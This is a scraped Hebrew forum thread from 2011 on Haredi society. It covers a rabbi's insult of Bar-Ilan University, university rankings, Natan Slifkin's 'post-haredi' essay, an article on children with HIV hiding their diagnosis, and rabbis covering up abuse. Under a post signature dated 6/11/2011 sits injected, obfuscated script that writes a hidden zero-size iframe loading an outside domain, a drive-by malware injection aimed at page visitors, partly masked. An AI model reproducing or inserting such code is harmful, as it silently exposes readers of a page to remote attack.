| נשלח ב-3/11/2011 16:55 |
 |
| |
הגררות לסגנון מעין זה, מחלישה את הטיעונים (לפחות ביחס למי שמנסה לחשוב).
|
|
|
|
| נשלח ב-3/11/2011 16:56 |
|
| |
| דייר כתב: |  | כן למה לא.
"ביב שופכין" נסחפנו קצת אתה לא חושב? |
|
אותי מרגיז את ההמשך, כלפי מי אמר זאת, וכך כותב הגאוותן "לאחרונה יצא עוד ספר מביב השופכין של אוניברסיטת בר אילן"
אני כחרדי שלעולם לא דרכתי בשום אוניברסיטת ומכיר אותם אך ורק מהרשת, ראיתי דבר מוזר ומובן ביחד,
יש אוניברסיטות נרדפות ורודפים, כמו אצלינו אותו חרה,
אבל אל דאגה יש אלוקים, והוא מבקש את הנרדף,
לדוגמא:
ידוע לי את הרדיפות והזלזול כלפי האוניברסיטה העברית מצד הגאוותנים מתל אביב ועוד,
וכמה אהבתי לראות שיש אלוקים,
האוניברסיטה העברית במקום ה-57 בעולם איתם לחובר | 18.08.11 - 14:51  הדירוג ע"פ מספר ואיכות המחקרים שראו אור בכתבי עת מדעיים, מספר חתני פרס נובל והישגים אקדמאיים האוניברסיטה העברית בירושלים דורגה במקום ה-57 ברשימת האוניברסיטאות הטובות בעולם על פי דירוג אוניברסיטת שנחאי בסין.
האוניברסיטה העברית עלתה ב-25 מקומות בהשוואה לשנה שעברה ודורגה למקום הגבוה ביותר מאז החל הדירוג בשנת 2003. אוניברסיטת תל-אביב, מכון וייצמן והטכניון דורגו במקומות 100 עד 150. אוניברסיטת בר-אילן ואוניברסיטת בן-גוריון דורגו במקומות 300 עד 400.
נשיא האוניברסיטה העברית, הפרופסור מנחם בן ששון, אמר כי הוא מקווה שהתהליכים שעוברת האוניברסיטה העברית יחזקו את ההכרה שלה היא זוכה מצד הקהילה המדעית הבינלאומית הרואה בה שותפה חשובה בהובלת סדר היום המחקרי בעולם.
כתבנו לענייני חינוך מוסר כי אוניברסיטת שנחאי סוקרת בכל שנה יותר מ-2,000 אוניברסיטאות בעולם. היא מדרגת את 500 הטובות שבהן על פי מספר ואיכות המחקרים שראו אור בכתבי עת מדעיים ועל פי מספר חתני פרס נובל והשגים אקדמאיים של אוניברסיטה יחסית לגודלה.
תוקן על ידי maxmen ב- 03/11/2011 17:10:54
|
|
|
|
| נשלח ב-3/11/2011 20:18 |
|
| |
http://www.rationalistjudaism.com/2011/11/making-of-post-haredim.html
מתוך הבלוג של הרב נתן סליפקין: Seven years ago, three of my books were placed in herem by three dozen leading rabbis from the haredi rabbinic establishment in Israel and the US. This was due to my adopting a Maimonidean approach to resolving conflicts between Torah and science—that the account of creation is not to be interpreted literally as referring to a six-day creation, and that the Sages of Talmud were mistaken in some of their statements regarding the natural world. While I sympathized with the concerns of these rabbinic leaders about the effects of such an approach upon those in their community with simple faith, I could not accept that this approach was heretical. It became clear to me that with my line of work, I could not continue to lead my life in the haredi community.
But I was not (at the time) ready to define myself as Modern Orthodox or Religious Zionist. And so when people asked me what I was, I replied with what I thought was an original response: if people who are disillusioned with Zionism are called ''post-Zionists,'' and people who are disillusioned with Judaism are called ''post-religious,'' then someone who is disillusioned with Haredism is ''post-haredi.''
_________________
 |
|
|
|
|
| נשלח ב-4/11/2011 07:02 |
|
| |
|
|
|
|
| נשלח ב-4/11/2011 12:37 |
|
| |
תוקן על ידי thepresent ב- 04/11/2011 12:37:41
|
|
|
|
| נשלח ב-4/11/2011 15:51 |
|
| |
http://www.bhol.co.il/Article.aspx?id=33827
מה קורה?האם הלטאיות משיגות את החסידות במהפכה הנשית?
אדמורית מחלקת חלה!
ואיך זה פתאום מותר לנשים להצטלם לאתר פומבי?
מה קורה?הרכות נכנסת למעוז החינוך הליטאי?
|
|
|
|
| נשלח ב-6/11/2011 17:06 |
|
| |
הסוד הנורא של הילדים במחלקות נטולות השם 170 ילדים בארץ נשאי HIV. פרט להתמודדות עם הבידוד החברתי, והטיפולים עומדת הידיעה הקשה שאת המחלה קיבלו בירושה מהוריהם
מתוך הכתבה
בכל פעם שהיא ובתה מסיימות את התרופות שלהן, יוצאת האם מהבית, צועדת לפחות 200 מטר, ורק שם, בפח האשפה הכי רחוק שהיא יכולה למצוא, היא מרשה לעצמה לזרוק את האריזות הריקות. היא אף פעם לא עושה את זה ביום. תמיד בלילה, בחשיכה.
"תאר לך שאני אזרוק את האריזות בפח האשפה של הבית ואיזה חתול יוציא אותן, ומישהו יראה את התוויות. כולם מיד יידעו שיש כאן בבניין חולות איידס. תאר לך שאיזה שכן יידע שזה אנחנו. חרב עולמי. אני אצטרך לעזוב את העיר, את המדינה. רק שחס ושלום לא יידעו. הביטוח הלאומי שלי, רופא המשפחה, סניף קופת החולים, הכל רחוק מהבית. אני עושה הכל כדי לצמצם את הסיכוי שמישהו יידע.
מתוך הכתבה
מתי מספרים?
"הגילוי נעשה סביב הגילים 16-14, שזה גיל שחייבים לספר בו כי חלק מהילדים עומדים לפני קיום יחסי מין. כשאנחנו שואלים אותם אם הם ידעו, חלק גדול מהם משיבים שכן. הם אומרים שהם חשבו על זה. הרוב מקבלים את זה בצורה רגועה ושקטה לחלוטין. יש ילדים שכועסים. כועסים על זה שלא גילו להם וכועסים על ההורים שלהם שהדביקו אותם, אבל ברוב המקרים אין כעס. יש השלמה עם המצב". "אחת הסיבות העיקריות שבגללה הורים לא רוצים שיספרו לילדים שלהם היא רגשות האשמה", מוסיפה דבי שר, העובדת הסוציאלית של המרפאה. "ברגע שהילד יידע, הוא גם יידע שההורים שלו הם אלה שהדביקו אותו, וזה קשה מאוד לעמוד מול עיניים מאשימות של ילד. אבל החשש הכי גרוע הוא שהסוד יתגלה. שהילד יספר לאחד החברים שלו ואז זה יעבור הלאה, וכל השכונה תדע. המשמעות היא נידוי חברתי טוטאלי". ומתוך הכתבה כשהחלטתי שאני רוצה עוד ילד, אמרו לי שאני לא שפויה. שזה טירוף. אבל אני החלטתי שאני ממשיכה בחיים למרות המחלה. הרצון הזה לחיות, להרגיש איך זה לגדל ילד בריא. הייתי מסתכלת על אמהות אחרות, וחושבת איזה כיף להן. הן לא צריכות לתת תרופות. לא מחלות. לא חיות בתוך הגיהנום הזה כמוני.
למרות שהבטיחו לי שהסיכויים שהוא יידבק הם רק אחוז בודד, כשהוא נולד הייתי בחרדות נוראיות. עשו לו בדיקה ראשונה ביום הלידה, בדיקה שנייה אחרי שבועיים ובדיקה שלישית אחרי שלושה חודשים. היום הוא בן שבע וחצי ולא יודע מכלום. זה אושר גדול לגדל ילד בריא. יש לי ילד לפרסומות, חכם ויפה. אלוהים צ'יפר אותי סוף סוף. אחרי הכל קיבלתי ממנו בונבוניירה".
יד על הלב: זו אחת הכתבות הכואבות, המרתקות, שקראתי בזמן האחרון או בכלל. נוגע ללב וכתוב בכשרון. למה הבאתי את זה לכאן? אז זה לא מאד שייך, רק שיש כמה קטעים על ההסתרה. ההסתרה שמוכרת לנו יפה, להבדיל אלף אלפי הבדלות, בחיים החרדיים שבהם יש משהו חריג, כמו חברות בעצכח, בעלות על אינטרנט, אבל גם תופעות אחרות כמו רשיון נהיגה לאמא או ילד חולה נפש... אחר כך חשבתי על המחיר שמשלמים הילדים על טעויות של ההורים... זה נוגע לא רק לעצכח, או לעצכחיות, אבל בהחלט לזהירות שצריך לילדים שגדלים בחברה שבה יש כה הרבה הקפדה על היצמדות לכללים חיצוניים. וכמובן, נזכרתי במשל של ר' נחמן שהוא בעצם של חז"ל. בני, אומר המלך לבן, עשיתי לך פצע גדול אבל נתתי לך תרופה. כל זמן שתיקח את התרופה, תחיה. ומהי התרופה? תורה? ומהו הפצע?
__שכחתי בהתחלה את הלינק..._______________
שומר פיו ולשונו - שומר מצרות נפשו
******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 06/11/2011 17:07:21
|
|
|
|
|
|
| נשלח ב-13/11/2011 13:25 |
|
| |
|
|
|
|
| נשלח ב-16/11/2011 06:50 |
|
| |
["רבנים מכסים על אנסים כמו בכנסיה הקתולית" -
"חטא כמוס", סרטו התיעודי הראשון של המפיק סקוט רוזנפלד עוקב אחר העיתונאי היהודי פיל ג'ייקובס, במסע לחשיפת אנסים בקהילה היהודית הדתית בבולטימור, שהעלה גם סיפורים מעברו. "אנשים פנו לרבנים, והרבנים אמרו להם לשתוק". ראיון.
http://www.ynet.co.il/articles/0,7340,L-4148608,00.html ]
|
|
|
|
| נשלח ב-16/11/2011 23:14 |
|
| |
אותי זה הצחיק לא יודע מה איתכם
|
|
|
|
| נשלח ב-21/11/2011 09:27 |
|
| |
|
|
|
|
|
